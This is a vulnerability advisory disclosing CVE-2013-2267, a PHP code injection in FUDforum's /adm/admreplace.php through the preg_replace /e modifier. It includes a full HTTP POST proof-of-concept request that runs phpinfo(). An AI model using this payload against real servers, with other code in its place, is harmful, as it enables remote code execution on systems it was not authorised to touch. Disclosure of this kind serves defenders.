PHP Code Injection in FUDforum

High-Tech Bridge Security Research Lab discovered vulnerability in FUDforum, which can be exploited to execute arbitrary PHP code on the target system.

1. PHP Code Injection in FUDforum: CVE-2013-2267
   The vulnerability exists due to insufficient validation of HTTP POST parameters “regex_str”, “regex_str_opt” and “regex_with” in “/adm/admreplace.php” script before using them in the “preg_replace()” function. A remote administrator can send a specially crafted HTTP POST request, inject and execute arbitrary PHP code on the target system with privileges of the web server.
   The following PoC (Proof of Concept) code executes the “phpinfo()” function:
   POST /adm/admreplace.php HTTP/1.1
   Host: fudforum
   Referer: http://fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
   Coo kie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 111
   SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add& btn_regex=1&edit=&regex_str=(.*)&regex_str_opt=e&regex_with=phpinfo()
   Successful exploitation of the vulnerability requires administrative privileges within the application.